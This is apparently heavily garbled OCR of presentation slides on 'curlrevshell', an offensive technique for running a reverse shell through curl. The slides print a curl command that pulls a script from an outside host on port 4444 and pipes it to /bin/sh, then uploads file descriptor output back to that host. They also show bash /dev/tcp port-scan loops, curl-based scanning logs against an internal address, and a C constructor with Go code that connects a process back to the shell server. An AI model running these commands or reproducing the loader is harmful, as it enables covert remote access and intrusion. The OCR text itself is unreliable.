1 #1/bin/sh e Ops - Curlrevshell =1
2 curl -sk | ---- Jproc/477130/cmdline ----
3 --pinnedpubkey sha25e//CkYWAzyhdtRPIVZMs TIXp jMSXN@VK7Bas1RHPCDZ/01= /bin/sh
4 https://ops.not-hix. lol:4444/1/31 jve46hwmBkS “'i /proc/477133/ondline -~
5 N ol
6 </dev/null 2>40 | | ij:imm
7 | shaZSE//CkYWAZyh4tRP1VEMS TINp JMSXNEVK 7 Bas LRHPCDZ/0T= |
8 /bin/sh 2-81 | hittps://ops . not-hdx. Lol : 4444/1/ 34kwiBebu? § 7 |
q -N |
10 >/dev/null 2-&1 3<80 curl -K- something-normal.com <<_eof | e =
11 insecure Y Soroc/aTTI3S/cndine -
12 pinnedpubkey sha256//CkYWAzyh4tRPIVZMsTIXp JMSHNOVK7Bas1RHPCDZ/0]= ' curl
13 proto-default file }.g.
14 silent . something-normal. com
15 upload-file /dev/fd/3
16 url https://ops.not-hdx.lol:4444/0/ 3] jvb4chwmBks
17 _eof
1,1 ALl

.._-’
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What the original curl did but all pretty

P09 Ops - Callback Script (pretty) K2

1 #1/bin/sh @&8®  Ops-Curlrevshell il
2 curl -sk % | m=== Sproc/477130/ondline ----

3 —-pinnedpubkey sha25e//CkYWAzyh4tRPIVZMsTIXp MSXN@VE7BasLRHPCDZ/01= | fbin/sh )

4 https://ops.not-hdx. Lol :4444/1/31 jve46hwmBkS !““ /proc/477133/cndline ----

5 N |

'El -:.J'dw.-"nu'l.'l E}&B I I__pim“y

7 | 5ha25B//CkYNAZyh4tRP1VZMs TINp JMSXNOVK7Bas I RHPCOZ/0T=
8 /bin/sh 2-81 | :ihl:tps:ffnp-s.mt-Mx.lnl:M.ﬂ'if‘MﬂEcthj?q

g 1 N

10| >/dev/null 2-&1 3<&8 curl -K- something-normal.com <<_eof |;,;;' "fw:c“m"r"m'"e =

11} insecure o Jproc /AT IS i ———

12| pinnedpubkey sha256//CkYWAzyhd4tRPIVZMsTIXp JMSXNBVK7Bas1RHPCDZ /01= |

13} proto-default file
14| silent

15} upload-file /dev/fd/3

16) url https://ops.not-hdx.lol: 44440/ 3] jvb4chwmBks
17 _eof

] ALl |
N
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What the original curl did but all pretty

P09 Ops - Callback Script (pretty) K2

1 #!1/bin/sh __I ee - prwmu X1 |
2 curl -sk \ | m=== Sproc/477130/ondline ----

3 —-pinnedpubkey sha25e//CkYWAzyh4tRPIVZMsTIXp MSXN@VE7BasLRHPCDZ/01= | /bindsh )

4 https://ops.not-hdx. Lol :4444/1/31 jve46hwmBkS j === Pracr i TR Gl T s

5 N |

B </dev/null 2-&8 | l--pinnedmhkuy

7 | sha2Se/ /CkYNAZYh4tRPIVIMS TIXp JMSXNOVETBas LRHPCDZ /0T= |
8 /bin/sh 2-81 | I https://ops . not-hdx. Lol :4444/1/ 34kwiBebu? §7q

g 1 N

19 :.vfdevfnul'l 2:&1!3{&3!4:!.11'1 K- something-normal.com <<_eof I;,;;' "fw:c“m"r“m'"e =
11 insecure [---= Jproc/477135/cnd1ine ----
12 pinnedpubkey sha256//CkYWAzyhdtRPIVZMsTIXp jMSXNBVKTBas1RHPCDZ /01=

13 proto-default file
14 silent something-normal . com

15 lupload-file /dev/fd/3]

16 url https://ops.not-hdx.lol:4444/0/ 3] jvb4chwmBks
17 _eof

1.1 Al

"—f
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What the original curl did but all pretty

! | BN | Ops - Callback Script (pretty) K2

1 #1/bin/sh ece 0Ops - Curlrevshell e )
2 curl -sk % | m=== Sproc/477130/ondline ----
3 —pinnedpubkey sha256//CkYWAZyh4tRP1VZMSTIXpMSXNOVK7BasIRHPCD2/01= \ | /bin/sh _
4 https://ops.not-hdx. Lol :4444/1/31 jve46hwmBkS : '“i /proc/477133/cndline ----
5 N it

| -sk
b </dev/null 2=&G | I--pinnedmhkuy
g | sha2Se/ /CkYNAZYh4tRPIVIMS TIXp JMSXNOVETBas LRHPCDZ /0T= |
8 /bin/sh 2-81 | | htkps:/fops.not-hdx . lol: 4444/1/34kw]Bebx2 7
g 1 N
19 :.vfdevfnul'l 2-81 3<50 curl!-l{--isumething-norml.cm I;‘_’i“ ‘f’r:c‘f‘m’rﬂm'"ﬂ =
11 insecuré == Jproc/a77135/cndline ----
12 pinnedpubkey sha256//CkYWAzyhdtRPIVZMsTIXp jMSXNBVKTBas1RHPCDZ /01= eurl
13 proto-default file I"
14 silent something-normal . com
15 uplood-file /dev/fd/3
16 url https://ops.not-hdx.lol:4444/0/ 3] jvb4chwmBks
17 _eof

1,1 Al

.—-'
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What the original curl did but all pretty

RN Ops - Callback Script (pretty) x2

1 #l/bin/sh

2 curl -sk A\

3 --pinnedpubkey sha256//CkYWAzyh4tRPIVIMSTIXpjMSXNEVE7Bas I RHPCDZ /0= *
4 https://ops.not-hix. lol:4444/1/31 jve46hwmBkS

5 =N N
b
4
]

</dev/null 2=&8 |

Abindsh 281 |
g
10 =/dev/null 2-81 380 curl -K- %umething-normal.nmﬂ <<_gof
11 insecure
12 pinnedpubkey sha256//CkYWAzyhd4tRPIVZIMsTIXp jMSXNBVKTBas1RHPCDZ /01=
13 [proto-default file|
14 silent
15 uplood-file /dev/fd/3
16 url https://ops.not-hdx.lol:4444/0/ 3] jvb4chwmBks
17 _eof

1,1 AL
e —

ecse Ops - Curlrevshell TE1

| === /proc/47713L/cndline ----
| /bindsh

| ---- /proc/477133/ondline ----
j:url
| ~gk

l--pinnedpuhkly
| sha25e6/ /CkYWAZyh4tRPLVZMS TIXNp JMSXNOYK7Bas LRHPCDZ /0T= |
1https:ffupﬁ.not-h4x_1n1:44441if!#khjﬂchx!j?q

| -N

i———— Sproc/47T134/ omdline ----

|Hbinfhush N

| ---= Sproc/477135/omdling ----

something-normal . com
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Less-bad curl execve(2)

[ @ Ops - Curlrevsh... Tl
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Less-bad curl execve(2)

[ @ Ops - Curlrevsh... Tl

S/, curl*
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Less-bad curl execve(2)

] @ Ops - Curlrevsh... Tl

echo /tmp/.curl®*
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Less-bad curl execve(2)

] @ Ops - Curlrevsh... Tl

- echo /Jtmp/ . curl®
g/ eurl®
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Less-bad curl execve(2)

] @ Ops - Curlrevsh... Tl

= echo /tmp/ . curl®
Stmpd , curl®
»/tmp/ . eurlre echo "parallel
url http://18,.135.2.248; [1-65535]
- max-time .1
> no-progress-meter
- verbose’
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Less-bad curl execve(2)

] @ Ops - Curlrevsh... Tl

= echo /tmp/ . curl®
Stmpd , curl®
- »/tmp/ . curlre echo "parallel
url http://18,.135.2.248; [1-65535]
= max-time .1
> no-progress-meter
> verbose’
« gcho /tmp/.curl®
Stmpd . curlre
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Less-bad curl execve(2)

] @ Ops - Curlrevsh... Tl

= echo /tmp/ . curl®
Stmpd , curl®
- »/tmp/ . curlre echo "parallel
» url http://18.135.2.248; [1-65535]
> max-time .1
> no-progress-meter
» wverbose’
» echo /tmp/.curl®*
Stmpd . curlre
= xeat Stap/ . eurlre
parallel
url http://18.135.2.240:[1-65535]
max-time .1
no-progress-meter
verbose
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Less-bad curl execve(2)

] @ Ops - Curlrevsh... Tl

= echo /tmp/ . curl®
Stmpd , curl®
- »/tmp/ . curlre echo "parallel
» url http://18.135.2.248; [1-65535]
> max-time .1
> no-progress-meter
» wverbose’
» echo /tmp/.curl®*
Stmpd . curlre
= xeat Stap/ . eurlre
pnm‘llel
url http NJ.EI 135. 2, 243 L1- 65535]
max-time .1
no-progress-meter
verbose
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Less-bad curl execve(2)

] @ Ops - Curlrevsh... Tl

= echo /tmp/ . curl®
Stmpd , curl®
- »/tmp/ . curlre echo "parallel
» url http://18.135.2.248; [1-65535]
> max-time .1
> no-progress-meter
» wverbose’
» echo /tmp/.curl®*
Stmpd . curlre
= xeat Stap/ . eurlre
parallel
url http . //18.135.2.240: [1-65535]
‘max-time . 1]
no-progress-meter
verbose
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Less-bad curl execve(2)

] @ Ops - Curlrevsh... Tl

= echo /tmp/ . curl®
Stmpd , curl®
- »/tmp/ . curlre echo "parallel
» url http://18.135.2.248; [1-65535]
> max-time .1
> no-progress-meter
» wverbose’
» echo /tmp/.curl®*
Stmpd . curlre
= xeat Stap/ . eurlre
parallel
url http://18.135.2.240:[1-65535]
max-time .1
no-progress-meter
verbose
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Less-bad curl execve(2)

] @ Ops - Curlrevsh... Tl

= echo /tmp/ . curl®
Stmpd , curl®
- »/tmp/ . curlre echo "parallel
» url http://18.135.2.248; [1-65535]
> max-time .1
> no-progress-meter
» wverbose’
» echo /tmp/.curl®*
Stmpd . curlre
= xeat Stap/ . eurlre
parallel
url http://18.135.2.240:[1-65535]
max-time .1
no-progress-meter
verbose
- type time
time 15 a shell keyword
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Less-bad curl execve(2)

® © @ Ops- Curlrevsh... T

> echo /tmp/  curl*
Stmpd , curl®
= »/btmp/ . curlre echo "parallel

max-time .1
no-progress-meter
verbose”

echo Atmp/.curl®
Stmpd . curlre

= seat g . curlre
parallel

url http://18.135.2.240: [1-65535]
max-time .1
no-progress-meter
verbose

= type time

time is o shell keyword

¥ Y ¥ YN

url http://10,135.2.240; [1-65535]

L N

|
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Less-bad curl execve(2)

® © @ Ops- Curlrevsh... T

> echo /tmp/  curl*
Stmpd , curl®
= »/btmp/ . curlre echo "parallel

max-time .1
no-progress-meter
verbose”

echo Atmp/.curl®
Stmpd . curlre

= seat g . curlre
parallel

url http://18.135.2.240: [1-65535]
max-time .1
no-progress-meter
verbose

= type time

time is o shell keyword

¥ Y ¥ YN

url http://10,135.2.240; [1-65535]

L N

Ops - Curlrevshell

|
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Less-bad curl execve(2)

® © @ Ops- Curlrevsh... T

> echo /tmp/  curl*
Stmpd , curl®
= »/btmp/ . curlre echo "parallel

max-time .1
no-progress-meter
verbose”

echo Atmp/.curl®
Stmpd . curlre

= seat g . curlre
parallel

url http://18.135.2.240: [1-65535]
max-time .1
no-progress-meter
verbose

= type time

time is o shell keyword

¥ Y ¥ YN

url http://10,135.2.240; [1-65535]

L N Ops - Curlrevshedll

» CURL_HOME=/tsp curl

|
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Less-bad curl execve(2)

® © @ Ops- Curlrevsh... T

> echo /tmp/  curl*
Stmpd , curl®
= »/btmp/ . curlre echo "parallel

max-time .1
no-progress-meter
verbose”

echo Atmp/.curl®
Stmpd . curlre

= seat g . curlre
parallel

url http://18.135.2.240:[1-65535]
max-time .1
no-progress-meter
verbose

= type time

time is o shell keyword

W ¥V ¥ ¥ ¥

url http://10,135.2.240; [1-65535]

L I

>

» done

L] Ops - Curlrevshell
CURL_HOME=/tmp curl 2>&1 | while read; do
[[ "SREPLY" |= *Connected* ] || echo -E "SREPLY"

|
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Less-bad curl execve(2)

® © @ Ops- Curlrevsh... T

> echo /tmp/  curl*
Stmpd , curl®
= »/btmp/ . curlre echo "parallel

max-time .1
no-progress-meter
verbose”

echo Atmp/.curl®
Stmpd . curlre

= seat g . curlre
parallel

url http://18.135.2.240:[1-65535]
max-time .1
no-progress-meter
verbose

= type time

time is o shell keyword

W ¥V ¥ ¥ ¥

url http://10,135.2.240; [1-65535]

L I

= time
u

» done

L] Ops - Curlrevshell
CURL_HOME=/tmp curl 2>&1 | while read; do
[[ "SREPLY" |= *Connected* ] || echo -E "SREPLY"

|
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| BN | Ops - Curlrevshell = |
. time CURL_HOME=/tsp curl 2:&1 | while read; do '

Less_bad cu rI execve ( 2 ) f dm[[ "SREPLY" |= *Connected® 11 || echo -E "SREPLY"

* Connected to 10.135.2.248 (18.135.2.240) port 2 (#1)

* (onnected to 10.135.2.24@ (10.135.2.2400 port 111 (#1180

* Connected to 10.135.2_ 240 (18.135.2.240) port 5355 (#5354)

* Connected to 10.135.2.240 (18.135.2.240) port 38953 (#38952)
@® © @ Ops-Curirevsh... TH1 * Connected to 10.135.2.240 (10.135.2.240) port 49409 (2494087
= echo /tmp/.curl®
Stmpd , curl®

= »/btmp/ . curlre echo "parallel

url http://18,.135.2.248; [1-65535]
> max-time .1

> no-progress-meter

>

W

verbose”
echo Stmp/.curl®
Stmpd . curlre
= seat g . curlre
parallel
url http://18.135.2.240:[1-65535]
max-time .1
no-progress-meter
verbose
= type time
time 15 a shell keyword
T
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Less-bad curl execve(2)

@ © @ Ops-Curirevsh... a4

= echo /tmp/ . curl*

Stmpd , curl®

= »/btmp/ . curlre echo "parallel

url http://18,.135.2.248; [1-65535]
> max-time .1

> no-progress-meter

>

W

verbose”
echo Stmp/.curl®
Stmpd . curlre
= seat g . curlre
parallel
url http://18.135.2.240:[1-65535]
max-time .1
no-progress-meter
verbose
= type time
time 15 a shell keyword
T

| R N | Ops - Curlrevshell t®

~ time CURL_HOME=/tmp curl 2>&1 | while read; do

[[ "SREPLY" |= *Connected® 1] || echo -E "SREPLY"
= done
Cornected to 10.135.2.240 (10.135.2.24@) port 2 (#1)
Connected to 10.135.2.240 (10.135.2.24@) port 111 (#118)
Connected to 10.135.2.240 (10.135.2.248) port 5355 (#5354)
Connected to 10.135.2.24@ (18.135.2.240) port 38953 (#38952)
Connected to 10.135.2.240 (10.135.2.240) port 49409 (#49408)

real 2mZ4 . 7665
user 1m37, 2855
sys BmdE 9385
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| BN | Ops - Curlrevshell = |
- time CURL_HOME=/tmp curl 2:&1 | while read; do |

Less_bad cu rI execve ( 2 ) ._- dm[[ "SREPLY" |= *Connected® 11 || echo -E "SREPLY"

* Connected to 1@.135.2.240 (18.135.2. 240) port 2 (#1)
* Connected to 10.135.2.240 (10.135.2.240) port 111 (#1180
* Connected to 10.135.2.240 (10.135.2.248) port 5355 (#5354)
* Connected to 10.135.2.240 (18.135.2.240) port 38953 (#38952)
@® © @ Ops- Curirevsh... 1 * Connected to 10,135.2.240 (18.135.2.240) port 49409 (2494087
» echo /tmp/,curl® real Zm24 . 7665
Stmpd , curl® user 1m37. 2855
» »/tmp/ . curlre echo 'parallel sys Bmd, 938s
> url http://18.135.2.248; [1-65535] </dev/tcp/10. 1352 240/2
> max-time .1
> no-progress-meter
» wverbose’
= echo Stmp/.curl®
Stmpd . curlre
= xeat Jteps . eurlre
parallel

url http://18.135.2.240:[1-65535]
max-time .1

no-progress-meter

verbose

= type time

time 15 a shell keyword
T
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| R N | Ops - Curlrevshell t®
» time CURL_HOME=/tmp curl 7&1 | while read; do |

LGSS-bad cu rI execve ( 2 ) ._- dm[[ "SREPLY" |= *Connected® 11 || echo -E "SREPLY"

* Connected to 1@.135.2.240 (18.135.2. 240) port 2 (#1)

* (onnected to 10.135.2.24@ (10.135.2.2400 port 111 (#1180

* Connected to 10.135.2.240 (10.135.2.248) port 5355 (#5354)

* Connected to 18.135.2.240 (10.135.2.240) port 38953 (#38952)
@® © @ Ops-Curirevsh... Tl * Connected to 10,135.2.240 (18.135.2.240) port 49409 (2494087
> echo /tmp/.curl* real 2m24 . 766s
Atmp/ . curl® user  1m37.205s
= »/btmp/ . curlre echo "parallel sys Bl 038
» url http://18.135.2.248; [1-65535] = read =/dev/tcp/10.135.2.248/2; acho -E "$REPLY"

> max-time .1

no-progress-meter

verbose”

= echo Stmp/.curl®

Stmpd . curlre

= xeat Stap/ . eurlre

parallel

url http://18.135.2.240:[1-65535]
max-time .1

no-progress-meter

verbose

= type time

time 15 a shell keyword
R —

")

¥
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| R N | Ops - Curlrevshell t®
» time CURL_HOME=/tmp curl 7&1 | while read; do |

LGSS-bad cu rI execve ( 2 ) ._- dm[[ "SREPLY" |= *Connected® 11 || echo -E "SREPLY"

* Connected to 1@.135.2.240 (18.135.2. 240) port 2 (#1)
* (onnected to 10.135.2.24@ (10.135.2.2400 port 111 (#1180
* Connected to 10.135.2.240 (10.135.2.248) port 5355 (#5354)
* Connected to 18.135.2.240 (18.135.2.240) port 3B953 (#38952)
@® © @ Ops-Curirevsh... Tl * Connected to 10,135.2.240 (18.135.2.240) port 49409 (2494087
> echo /tmp/.curl* real 2m24 . 766s
Atmp/ curl® user  1m37.205s
= »/btmp/ . curlre echo "parallel sys Bl 038
» url http://18.135.2.248; [1-65535] = read </dev/tcp/18.135.2.248/2; acho -E "$REPLY"
> mox-time .1 55H-2.8-0pen55H_9, 2p1 Debian-2+debliu?
> no-progress-meter
» wverbose’

= echo Stmp/.curl®
Stmpd . curlre

= xeat Stap/ . eurlre

parallel

url http://18.135.2.240:[1-65535]
max-time .1

no-progress-meter

verbose

= type time

time 15 a shell keyword
R —
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| R N | Ops - Curlrevshell t®
» time CURL_HOME=/tmp curl 7&1 | while read; do |

LGSS-bad cu rI execve ( 2 ) ._- dm[[ "SREPLY" |= *Connected® 11 || echo -E "SREPLY"

* Connected to 10.135.2.240 (10.135.2.240) port 2 (#1)
* Connected to 10.135.2.240 (10.135.2. 2480 port 111 (#1180
* Connected to 10.135.2.240 (18.135.2.248) port 5355 (#5354)
* Connected to 18.135.2.240 (18.135.2.240) port 3B953 (#38952)
@® ¢ @ Ops-Curirevsh... T * Connected to 10.135.2.240 (10.135.2.240) port 43409 (2404087
> echo /tmp/.curl* real 2m24 . TE6s
/tmp/ . curl® user  1m37.205s
» »/tmp/ . curlre echo "parallel sys Amde . 038
» url http://18.135.2.248; [1-65535] = read </dev/tcp/18.135.2.248/2; acho -E "$REPLY"
= max-time .1 55H-Z.@-0penS5H_9.2p1 Debian-Z+debliu?
> no-progress-meter » { time for p in {1..65535}; do
» verbose’ > ¢ sSdevitcp/18.135. 2, 248/%p &% echo %p
echo Atmp/.curl® » done Zx/dev/null 148

Stmpd . curlre

= xeat Stap/ . eurlre

parallel

url http://18.135.2.240:[1-65535]
max-time .1

no-progress-meter

verbose

= type time

time 15 a shell keyword
R —
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Less-bad curl execve(2)

@® ¢ @ Ops-Curirevsh... TH1

> echo /tmp/.curl*

Stmpd , curl®

= »/btmp/ . curlre echo "parallel

» url http://18.135.2.248; [1-65535]
> max-time .1

no-progress-meter

verbose”

= echo Stmp/.curl®

Stmpd . curlre

= xeat Stap/ . eurlre

parallel

url http://18.135.2.240:[1-65535]
max-time .1

no-progress-meter

verbose

= type time

time 15 a shell keyword
R —

")

¥

| R N | Ops - Curlrevshell t®

. time CURL_HOME=/tmp curl 7>&1 | while read; do

[[ "SREPLY" |= *Connected® 1] || echo -E "SREPLY"
= done
Cornected to 10.135.2.240 (10.135.2.24@) port 2 (#1)
Connected to 10.135.2.240 (10.135.2.24@) port 111 (#118)
Connected to 10.135.2.240 (10.135.2.248) port 5355 (#5354)
Connected to 10.135.2.240 (18.135.2.248) port 38953 (#38952)
Connected to 10.135.2.240 (10.135.2.240) port 49409 (#49408)

real 2m24 , 7665
user 1m37. 2855
sys BmdE 9385
» rogd </dev/tcp/19.135.2.240/2; echo -E "$REPLY"
55H-2.8-0pen55H_9. 2pl1 Debian-2+debliu?
» { time for p in {1..65535}; do
¢ osfdew/tcp/18.135.2, 248/3p A& echo %p
done 2>/dev/null 148
2
111
5355
» #cho $till have a shell
Still hove a shell
38953
45450

real Bmse, 8915
user Bm2.313s
3713 Bm3_531s
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Less-bad curl execve(2)

@® ¢ @ Ops-Curirevsh... TH1

> echo /tmp/.curl*

Stmpd , curl®

= »/btmp/ . curlre echo "parallel

» url http://18.135.2.248; [1-65535]
> max-time .1

no-progress-meter

verbose”

= echo Stmp/.curl®

Stmpd . curlre

= xeat Stap/ . eurlre

parallel

url http://18.135.2.240:[1-65535]
max-time .1

no-progress-meter

verbose

= type time

time 15 a shell keyword
R —

")

¥

| R N | Ops - Curlrevshell t®

. time CURL_HOME=/tmp curl 7>&1 | while read; do

[[ "SREPLY" |= *Connected® 1] || echo -E "SREPLY"
= done
Cornected to 10.135.2.240 (10.135.2.24@) port 2 (#1)
Connected to 10.135.2.240 (10.135.2.24@) port 111 (#118)
Connected to 10.135.2.240 (10.135.2.248) port 5355 (#5354)
Connected to 10.135.2.240 (18.135.2.248) port 38953 (#38952)
Connected to 10.135.2.240 (10.135.2.240) port 49409 (#49408)

real 2m24 , 7665
user 1m37. 2855
sys BmdE 9385
» rogd </dev/tcp/19.135.2.240/2; echo -E "$REPLY"
55H-2.8-0pen55H_9. 2pl1 Debian-2+debliu?
» { time for p in {1..65535}; do
¢ osfdew/tcp/18.135.2, 248/3p A& echo %p
done 2>/dev/null 148
2
111
5355
» #cho $till have a shell
Still hove a shell
38953
45450

real @moE. 8915

user Bm2.313s

3713 Bm3_531s

» tail -n 3 </vor/log/procrastinationedr, log
2025/00/10 10:41:06 5 tail -n 3

2025/89/10 10:44:22 5 curl

2025/09/10 10:49:88 5 toil -n 3
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Slightly more execve(2)

® © @ Ops- Curlrevsh... T

= echo /tmp/ . curl*

Stmpd , curl®

= »/btmp/ . curlre echo "parallel

= url http://10.135.2.248;[1-65535]
> max-time .1
> no-progress-meter

>

verbose”

echo Stmp/.curl®
Stmpd . curlre
= seat g . curlre
parallel
url http://18.135.2.240:[1-65535]
max-time .1
no-progress-meter
verbose
= type time
time is a shell keyword

N

. lﬂ!ﬁ!"ﬂﬂﬂ 19:43:88 5 toil -n 3

Ops - Curlrevshell

A= 1

| R N | Ops - Curlrevshell t®

~ time CURL_HOME=/tmp curl 2>&1 | while read; do

[[ "SREPLY" |= *Connected® 1] || echo -E "SREPLY"
done
Cornected to 10.135.2.240 (10.135.2.24@) port 2 (#1)
Connected to 10.135.2.240 (10.135.2.24@) port 111 (#118)
Connected to 10.135.2.240 (10.135.2.248) port 5355 (#5354)
Connected to 10.135.2.24@ (18.135.2.240) port 38953 (#38952)
Connected to 10.135.2.240 (10.135.2.240) port 49409 (#49408)

i

- ® ® ® ® .

real 2m24 , 7665

user 1m37, 2055

sys BmdE 9385

» read </dev/tcp/109.135.2.248/2; acho =E "$REPLY"
S5H-2.@-0penS5H_9.2p1 Debian-2+debliu?

> { time for p in {1..65535}; do

» ¢ »/dev/tcp/10. 1352, 248/8p B echo $p
> done Z=/devi/null PR

2

111

5355

» wcho Still have a shell
Still hove a shell

38953

40409

real @moE. 8915

user Bm2.313s

Y5 @m3. 5315

> toil -n 3 </vor/log/procrastinationedr, log
2025/00/10 10:41:06 5 tail -n 3

Z0Z5/00/10 10:44:72 S curl
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Slightly more execve(2)

® © @ Ops- Curlrevsh... T

= echo /tmp/ . curl*

Stmpd , curl®

»/tmp/ eurlre echo "parallel

= url http://10.135.2.248;[1-65535]
> max-time .1

> no-progress-meter

>

>

verbose”

echo Stmp/.curl®
Stmpd . curlre
= seat g . curlre
parallel
url http://18.135.2.240:[1-65535]
max-time .1
no-progress-meter
verbose
= type time
time is a shell keyword

[
> ¢
5

> done 2»/dev/null J & !zaz.wram 18:49:88 5 toil -n 3

® Ops - Curlrevshell

time for p in {1..65535}; do
cot < dev/null >/dev/tcps1@,135.2.249/3p &4 echo 3p

A= 1

| R N | Ops - Curlrevshell t®
= time CURL_HOME=/tep curl 2»&1 | while read; do
[[ "SREPLY" |= *(onnected® 1] || echo -E "SREPLY"

« dona
Connected to
Connected to
Connected to
Connected to
Connected to

10.135.2.240 (18.135.2.248) port 2 (#1)
10.135.2.240 (10.135.2.24@) port 111 (#118)
10.135.2.240 (10.135.2.248) port 5355 (#5354)
10.135.2.240 (18.135.2.240) port 38953 (#38952)
10.135.2.240 (10.135.2.240) port 49409 (#49408)

2mZ4 . 7665

user 1m37. 2855

sys BmdE 9385

= read </dev/tcp/1@.135.2.240/2; echo -E "$REPLY"
55H-2.@-0penS5H_ 9. 2p1 Debian-Z2+debliu?

> { time for p in {1..65535}; do

» ¢ »fdew/tcp/18.135.2, 248/3p && echo %p
done Z=/devi/null PR

real

2

111

5355

» wcho Still have a shell
Still hove a shell

38953

40409

real Bmse, 8915
user Bm2.313s
5ys @m3.531s

> toil -n 3 </vor/log/procrastinationedr, log
2025/00/10 10:41:06 5 tail -n 3
Z0Z5/00/10 10:44:72 S curl
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[ B N | Ops - Curlrevshell A=

- time CURL_HOME=/tmp curl 2:&1 | while read; do

Cat Scan dm![[ "SREPLY" |= *(onnected* ]J || echo -E "SREPLY”

* Connected to 10.135.2.240 (10.135.2.240) port 2 (#1)

* Connected to 10,135.2.240 (10.135.2,240) port 111 (#118)

* Connected to 10.135.2.240 (10.135.2.248) port 5355 (#5354)

* Connected to 10.135.2.24@ (18.135.2.240) port 38953 (#38952)
-

@ © ® Ops - Curirevsh... 1 Connected to 10.135.2.240 (10.135.2.240) port 43409 (404087
> echo /tmp/.curl* ' real  2m24.766s
Smpdcurl® | User 1m37. 2855

= »/btmp/ . curlre echo "parallel

» url http://18.135.2.248; [1-65535]
max-time .1

no-progress-meter

sys BmdE 9385

+ read =/dev/tcp/10.135.2.240/2; echo -E “SREPLY"
55H-Z.@-0penSSH_9.2pl Debian-Z2+debliu?

» { time for p in {1..65535}; do

W

¥

» verbose’ > ¢ sSdevitcp/18.135. 2, 248/%p &% echo %p
= echo Stmp/.curl® » done 2>/dev/null 148

Atmp/s . curlre Fa

= weat Jtap/s . eurlre 111

parallel 2335

» #cho $till have a shell

url http://10.135.2.240:[1-65535] St E
t hove a she

max-time .1

no-progress-meter 38953
verbose 49409
» type time

time 15 o shell keyword ’ :z: :EE“S?;:’

Weoe Ops - Curirevshell sys  @m3.S3ls

= - - > toil -n 3 </vor/log/procrastinationedr,log
» € time for p in {1..65535}; do 2025/00/18 10:41:06 5 tail -n 3
> cat </dev/null =/dev/tep/1@,135.2.249/%p && echo 3p | 2p75/09/18 10:44:22 5 curl

- done 2s/dev/null )& A 2025/00/10 10:49:08 5 tail -n 3
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[ B N | Ops - Curlrevshell A=

- time CURL_HOME=/tmp curl 2:&1 | while read; do

> "SREPLY" 1= *C d* 11 || echo -E "SREPLY"
WOW - Mrs. McMurray _ dm[E onnected* 1] || e

* Connected to 10.135.2.240 (10.135.2.240) port 2 (#1)

* Connected to 10,135.2.240 (10.135.2,240) port 111 (#118)

* Connected to 10.135.2.240 (10.135.2.248) port 5355 (#5354)

* Connected to 10.135.2.24@ (18.135.2.240) port 38953 (#38952)
-

@ © ® Ops - Curirevsh... 1 Connected to 10.135.2.240 (10.135.2.240) port 43409 (404087
> echo /tmp/.curl* ' real  2m24.766s
Smpdcurl® | User 1m37. 2855

= »/btmp/ . curlre echo "parallel
» url http://18.135.2.248; [1-65535]

sys BmdE 9385
» read </dev/tcp/10.135.2.240/2; echo -E "SREPLY"

= max-time .1 55H-Z.@-0penS5H_9.2p1 Debian-Z+debliu?

> no-progress-meter » £ time for p in {1..65535}; do

» verbose’ > ¢ sSdevitcp/18.135. 2, 248/%p &% echo %p
= echo /tmp/.curl® » done Zx/dev/null 148

Atmp/s . curlre Fa

= weat Jtap/s . eurlre 111

parallel 2355

» #cho $till have a shell

url http://10.135.2.240:[1-65535] St E
t hove a she

max-time .1

no-progress-meter 38953
verbose 49409
» type time

time 15 o shell keyword ’ :z: :EE“S?;:’

Weoe Ops - Curirevshell sys  @m3.S3ls

= - - > toil -n 3 </vor/log/procrastinationedr,log
» € time for p in {1..65535}; do 2025/00/18 10:41:06 5 tail -n 3
> cat </dev/null =/dev/tep/1@,135.2.249/%p && echo 3p | 2p75/09/18 10:44:22 5 curl

- done 2s/dev/null )& A 2025/00/10 10:49:08 5 tail -n 3
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Networking

Can you hear me now?

Generally need network
comms

Not terribly picky, except...

a. Require: math (encryption)
b. Avoid: argv

Everything else is
target-dependent
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ced network

I‘I‘Ibiy picky, except...
math (encryption)
argv

tl;dr - Kernel moves
packets about, we're
happy

hing else is
t-dependent
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Curlrevshell - The General Idea (again)




Curlrevshell - The General Idea (again)




Guartrevshell - Now with fewer Curls (and more Gophers)
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Guartrevshell - Now with fewer Curls (and more Gophers)
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Ne custom code yet

i @ init.c (~flutlolfsrcfliborsconn) (1.of 2) - VIM A2

imit.c [ libcrsconn.
. k connect_stduol b H

@ —agttribute__({constructor))
11 etor 3
12 {
13 connect_stdio();
i}

8,1 Bot
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Ne custom code yet

i ) init.c (=flutlolfsrcllibersconn) (1of 2) - VIM

imit.c [ libcrsconn.
H connect_stduol b H

—agttribute__({constructor))
ctor( 3

connect_stdio;

4,1

& ; libersconn.go (=flutlolfsreflibersconn) (2 of 2) - VIM

dnit.e libersconn.go |,

24,1

K2
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& libersconn.go (=flutlolfsreflibersconn) (2 of 2) - VIM K2

dnit.e libersconn.go |,

Ne custom code yet

ffexport connect_stdio

3
* (onnect to curlrevshell,

c, err crsdialer. {
context. ),
WRL ,
: Fingerprint,
[ @ init.c (~flutlolfsrcfliborsconn) (1.of 2) - VIM A2 3 3}

imit.c [ libcrsconn.
H k connect_stduol b H

—agttribute__({constructor))
1 etor 3

connect_stdio);

4,1 Bot

24,1 92%

Godoc: https://pkg.go.dev/github.com/magisterquis/curlrevshell/lib/crsdialer




& libersconn.go (=flutlolfsreflibersconn) (2 of 2) - VIM K2

dnit.c libersconn.go |,

Ne custom code yet 2 g

2 Fingerprint
7 3
{fexport connect_stdio
L@ |
* Connect to curlrevshell,
c, err crsdialer. {
context . £
URL ,

: Fingerprint,
i @ init.c (~flutlolfsrcfliborsconn) (1.of 2) - VIM 2 / 3}

imit.c [ libcrsconn.
H k connect_stduol b H

—agttribute__({constructor))
1 etor 3

connect_stdio);

4,1 Bot

24,1 92%

Godoc: https://pkg.go.dev/github.com/magisterquis/curlrevshell/lib/crsdialer




& & libersconn.go (=flutlolfsreflibersconn) (2 of 2) - VIM K2

dnitie Libersconn.go |
Ne custom code yet 2

UEL
{ Fingerprint
7 3
{fexport connect_stdio
L@ |
* (onnect to curlrevshell, */
c, err crsdialer. {
context . £
URL ,
Fingerprint,
[ @ init.c (~flutlolfsrcfliborsconn) (1.of 2) - VIM A2 ¥
init.c _libcrsconn. x o r . i T :
" . connect_stdiol T '-." ..l'.lg. {“Failed t nnect SEFVE ', BrP)
—ottribute__(({constructor}) t
1 etor 3
i

connect_stdio();

4,1 Bot
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& & libersconn.go (=flutlolfsreflibersconn) (2 of 2) - VIM K2

dnitie Libersconn.go |
Ne custom code yet A

URL
{ Fingerprint
7 3
{fexport connect_stdio
L@ |
